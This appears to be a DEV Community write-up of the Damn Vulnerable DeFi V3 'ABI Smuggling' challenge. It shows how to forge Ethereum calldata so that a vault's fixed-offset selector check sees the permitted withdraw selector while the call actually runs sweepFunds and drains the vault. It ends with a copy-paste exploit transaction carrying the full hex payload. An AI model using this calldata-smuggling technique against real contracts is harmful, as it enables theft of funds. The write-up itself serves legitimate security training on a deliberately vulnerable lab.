DEV Community


Posted on • Updated on

Damn Vulnerable Defi V3 #15 ABI Smuggling solution

TLDR: Solution is at the end, you can copy & paste it

In the test setup, we can see that two permissions are set

const deployerPermission = await vault.getActionId('0x85fb709d', deployer.address, vault.address);
const playerPermission = await vault.getActionId('0xd9caed12', player.address, vault.address);
Enter fullscreen mode Exit fullscreen mode

Deployer has the permission to access the function selector 0x85fb709d which is sweepFunds function in SelfAuthorizedVault.sol
signature of function

The player, on the other hand, has access to the selector 0xd9caed12 which is withdraw function in SelfAuthorizedVault.sol.

Those two functions are protected with onlyThis modifiers, to prevent external access, meaning we can only call them through executein AuthorizedExecutor.sol

To take funds, we need to pass the auth part.

if (!permissions[getActionId(selector, msg.sender, target)]) {
  revert NotAllowed();
Enter fullscreen mode Exit fullscreen mode

If we take a closer look at getActionId we can see that it uses keccak256(abi.encodePacked(selector, executor, target))

In our case, the player (msg.sender) is authorized only to to withdraw, but we want him to call sweepFunds.
We can accomplish that by altering call data.

First, let's take a look at how authorization of execute works.

function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
  // Read the 4-bytes selector at the beginning of `actionData`
  bytes4 selector;
  uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
  assembly {
    selector := calldataload(calldataOffset)
Enter fullscreen mode Exit fullscreen mode

This is telling us that the selector is 4 bytes at the offset 100 in calldata.

Let us craft our calldata by adding this code to abi-smuggling.challenge.js test

const sweepFundsCalldata = vault.interface.encodeFunctionData('sweepFunds', [recovery.address, token.address])
const data = vault.interface.encodeFunctionData('execute', [vault.address, sweepFundsCalldata])
console.log('Full calldata:', data)
Enter fullscreen mode Exit fullscreen mode

Here, we are calling execute, and passing in two parameters:

  1. target address
  2. bytes calldata (this calldata is actually call to sweepFunds encoded (function selector, address receiver + address token)

This will log to our console:


Now let us manually 'prettify' this calldata, and make it more human-readable.
(selector is between asterisks selector)

// 4 byte selector for 'execute'
// + 32-byte padded address (1. param of execute)
// + 32-byte calldata offset (Everything else is 2. param of execute)
// + 32-byte calldata length
// actual calldata, selector is starting at offset 100 from the start of the calldata
Enter fullscreen mode Exit fullscreen mode

If we execute a transaction with this calldata

const tx = {
  to: vault.address,
  value: 0,
  data: data,
  gasLimit: 500000
await player.sendTransaction(tx)
Enter fullscreen mode Exit fullscreen mode

We will get a revert with NotAllowed()

Now let's modify our calldata and recover the funds.

Because our second parameter is dynamic data(bytes), we need to learn more about how it is encoded.

ABI encoding of dynamic types (bytes, strings)

In the ABI Standard, dynamic types are encoded the following way:

  1. The offset of the dynamic data
  2. The length of the dynamic data
  3. The actual value of the dynamic data.
Memory loc      Data
0x00            0000000000000000000000000000000000000000000000000000000000000020 // The offset of the data (32 in decimal)
0x20            000000000000000000000000000000000000000000000000000000000000000d // The length of the data in bytes (13 in decimal)
0x40            48656c6c6f2c20776f726c642100000000000000000000000000000000000000 // actual value
Enter fullscreen mode Exit fullscreen mode

If you hex decode 48656c6c6f2c20776f726c6421 you will get "Hello, world!".

Finally, let us modify our calldata so that we can return the funds to recovery.address.

// execute selector
// vault.address (first 32 bytes)
// offset -> start of the calldata (128 bytes in decimal - 4 x 32 bytes) (second 32 bytes)
// empty data (third 32 bytes)
// we inserted the selector at offset 100 from the start of entire calldata (fourth 32 bytes)
// start of the calldata (calldata length) (0x44 = 128 in decimal) 4x32 bytes = 0x80 = 128 offset
// sweepFunds calldata
Enter fullscreen mode Exit fullscreen mode

So we planted d9caed12 in calldata so that the contract authorizes us, but by manipulating calldata, we are skipping that part in the actual code execution in external call.

Final code

    it('Execution', async function () {
        await player.sendTransaction({
            to: vault.address,
            data: "0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000"
Enter fullscreen mode Exit fullscreen mode

Top comments (0)